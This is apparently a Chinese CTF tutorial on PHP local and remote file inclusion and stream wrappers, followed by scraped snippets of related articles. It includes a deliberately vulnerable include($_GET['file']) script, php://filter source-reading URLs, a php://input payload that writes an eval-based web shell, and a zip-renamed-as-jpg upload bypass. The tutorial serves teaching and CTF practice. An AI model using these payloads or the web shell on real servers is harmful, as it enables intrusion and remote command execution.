文件包含与php伪协议实战演练(代码片段)

墨子辰 墨子辰     2022-12-11     621

关键词:

目录

一、PHP中造成文件包含的四个函数

1、include() 、require()
当使用include()函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。

当使用require()函数包含文件时,只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行

2、include_once() 功能和 include() 相同,区别在于当重复调用同一文件时,程序只调用一次。
require_once()功能和require()相同,区别在于当重复调用同一文件时,程序只调用一次。

当使用上述四个函数包含一个新文件时,该文件将作为 PHP 代码执行,php 内核并不在意该被包含的文件是什么类型。所以如果被包含的是 txt 文件、图片文件、远程 url、也都将作为 PHP 代码执行。

robots.txt 内容为:<?php phpinfo();?>
路径为:E:\\phpStudy\\WWW\\robots.txt

二、本地文件包含、远程文件包含的区别

1、本地文件包含 LFI(Local File Include)
2、远程文件包含 RFI(Remote File Include)(需要 php.ini 中 allow_url_include=on、allow_url_fopen = On)

在 php.ini 中,allow_url_fopen 默认一直是 On,而 allow_url_include 从 php5.2 之后就默认为 Off。

三、PHP伪协议

PHP伪协议事实上就是支持的协议与封装协议(12种)

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

测试代码

路径为:E:\\phpStudy\\WWW\\include.php

<?php
include($_GET[‘file‘])
?>

目标文件

robots.txt
路径为:E:\\phpStudy\\WWW\\robots.txt

<?php phpinfo();?>

robots.zip
路径为:E:\\phpStudy\\WWW\\robots.zip
内容为:robots.txt

1.php
路径为:E:\\phpStudy\\WWW\\1.php

<?php echo('hello word!');?>

flag.txt
路径为:E:\\flag.txt

flagtest123

常用协议

1、目录遍历获取flag

2、php://input、php://filter

在CTF中经常使用的是php://filter和php://input
(1)php://input用于执行php代码。

PHP.ini:
allow_url_fopen :off/on
allow_url_include:on


也可以写入shell获取服务器权限

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> 


接下来就是连接后门就OK了

(2)php://filter用于读取源码
php://filter在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
?file=php://filter/convert.base64-encode/resource=1.php


获取到的内容是base64加密的,解码即可获取1.php源码

3、file://

用于访问本地文件系统,在CTF中通常用来读取本地文件

file:// 协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on

需要获取文件绝对路径

4、data://

allow_url_fopen:on
allow_url_include:on

可以写入后门,获取权限执行任意命令

5、zip://

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

先将要执行的PHP代码写好文件名为robots.txt,将robots.txt进行zip压缩,压缩文件名为rob.zip,如果可以上传zip文件便直接上传,若不能便将rob.zip重命名为rob.jpg后在上传.

由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。

ctf_web:文件包含与php伪协议(代码片段)

前言在CTF题目中文件包含和伪协议使用也是常见的一类题目,常见的主要使用include()、require()等函数与其搭配产生可利用的漏洞或命令执行。0x01什么是文件包含在开发的过程中,开发人员为了更好地使用代码的重用性,不... 查看详情

cisp-pte考前练习-文件包含(代码片段)

文章目录⽂件包含漏洞利⽤的前提伪协议⽂件包含常⽤伪协议使用file://访问本地⽂件系统php://访问输⼊/输出流phar://PHP归档伪协议利⽤⽅式题目1:题目要求解题过程题目2:text/plain协议题目要求解题过程题目3:php://fi... 查看详情

php伪协议(代码片段)

...就是支持得协议与封装这种协议一共有12种file://访问本地文件系统http://访问http/https网址php://访问各个输入/输出流data://数据phar://php归档zlib://压缩liuftp://访问FTP(S)URLSssh2://Secureshell2rar://RARogg://音频流except://处理交互式得流glob:/ 查看详情

安全-php://filter文件包含分析(bugku)(代码片段)

...战当中的奇技淫巧一、题目原题链接二、WriteUp使用到了文件包含漏洞,可以使用下方的payload读取index.php的源码http://IP/index.php?file=php://filter/read=convert.base64-encode/resource=index.php得到的是index.php文件的base64编码结果࿰... 查看详情

vrrp技术讲解与实战演练(代码片段)

...过配置虚拟路由器的IP地址为默认网关,实现网关的备份?协议版本:VRRPv2(常用)和VRRPv3VRRPv2仅适用于IPv4网络,VRRPv3适用于IPv4和IPv6两种网络。?VRRP协议报文:只有一种报文:Advertisement报文其目的IP地址是224.0.0.18,目的MAC地址是... 查看详情

文件包含漏洞全面详解(代码片段)

文件包含漏洞总结一、什么是文件包含漏洞二、本地文件包含漏洞(LFI)三、LFI漏洞利用技巧1.配合文件上传使用2.包含Apache日志文件3.包含SESSION文件4.包含临时文件四、远程文件包含(RFI)五、PHP伪协议1.file://协议2.php://协议3.ZIP://协... 查看详情

网络安全篇php伪协议-漏洞及其原理(代码片段)

...php?php基础php伪协议🍀支持为协议的函数🍁文件包含函数🍁文件操作类函数🍀伪协议🍁file://🍁http://https://🍁ftp://🍁php://🍁php://input🔥例题讲解:🍁php://filter🍁data://... 查看详情

github开源在线学习资料《计算机视觉实战演练:算法与应用》(代码片段)

全面 前沿 免费计算机视觉实战演练:算法与应用📌ComputerVisioninAction作者系迈微AI研习社创始人、CSDN博客专家,主要分享机器学习算法、计算机视觉等相关内容,每周研读顶会论文,持续关注前沿技术动态... 查看详情

github开源在线学习资料《计算机视觉实战演练:算法与应用》(代码片段)

全面 前沿 免费计算机视觉实战演练:算法与应用📌ComputerVisioninAction作者系迈微AI研习社创始人、CSDN博客专家,主要分享机器学习算法、计算机视觉等相关内容,每周研读顶会论文,持续关注前沿技术动态... 查看详情

php伪协议(文件包含)

php支持多种封装协议一.实验环境dvwa平台low级别,phpstudy中设置为5.4.45版本*将php.ini中的allow_url_fopen和allow_url_include都改为On需要四个文件:1.index.php(默认有,在phpStudy\\PHPTutorial\\WWW\\DVWA-master\\vu 查看详情

bugku-文件包含2(代码片段)

文件包含2目录文件包含2题目描述解题过程参考题目描述没有描述解题过程文件包含题目大多都是php环境的,所以先试试伪协议发现php://被ban了继续尝试,发现file://协议能用,但找了一下没有找到使用file://进行getshell或者读取源... 查看详情

文件包含漏洞原理与实践(代码片段)

...里云博客专家、华为云享专家、网络安全领域优质创作者文件包含漏洞一、什么是文件包含漏洞?二、文件包含函数三、两种文件包含1、本地文件包含1.1使用教程演示2、远程文件包含1.1使用教程演示四、配置文件1、allow_url_... 查看详情

文件包含漏洞原理与实践(代码片段)

...里云博客专家、华为云享专家、网络安全领域优质创作者文件包含漏洞一、什么是文件包含漏洞?二、文件包含函数三、两种文件包含1、本地文件包含1.1使用教程演示2、远程文件包含1.1使用教程演示四、配置文件1、allow_url_... 查看详情

文件包含漏洞原理与实践(代码片段)

...里云博客专家、华为云享专家、网络安全领域优质创作者文件包含漏洞一、什么是文件包含漏洞?二、文件包含函数三、两种文件包含1、本地文件包含1.1使用教程演示2、远程文件包含1.1使用教程演示四、配置文件1、allow_url_... 查看详情

文件包含漏洞原理与实践(代码片段)

...里云博客专家、华为云享专家、网络安全领域优质创作者文件包含漏洞一、什么是文件包含漏洞?二、文件包含函数三、两种文件包含1、本地文件包含1.1使用教程演示2、远程文件包含1.1使用教程演示四、配置文件1、allow_url_... 查看详情

docker深入浅出系列|image实战演练(代码片段)

...经提到过,DockerImage是有多层结构,实际上由一层一层的文件系统组成,底层都是共享宿主Linux内核,Image的分层结构是是为了提高复用性。Image可以看作是Java的class文件,容器可以看成是JAVA的对象去理解,下层的每一层镜 查看详情

jenkinsui与接口自动化测试持续集成实战(代码片段)

篇幅较长,要耐心阅读哦~基础知识简要回顾持续集成、持续交付的好处与产生的必然性Jenkins服务的搭建方法Jenkins节点管理与用户权限Jenkins插件Jenkins父子多任务关联运行Jenkins报警机制目录SeleniumUI自动化测试持续集成演练接... 查看详情

php伪协议的妙用(代码片段)

...时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似readfile()、file()和file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。resource=<要过滤的数据流 查看详情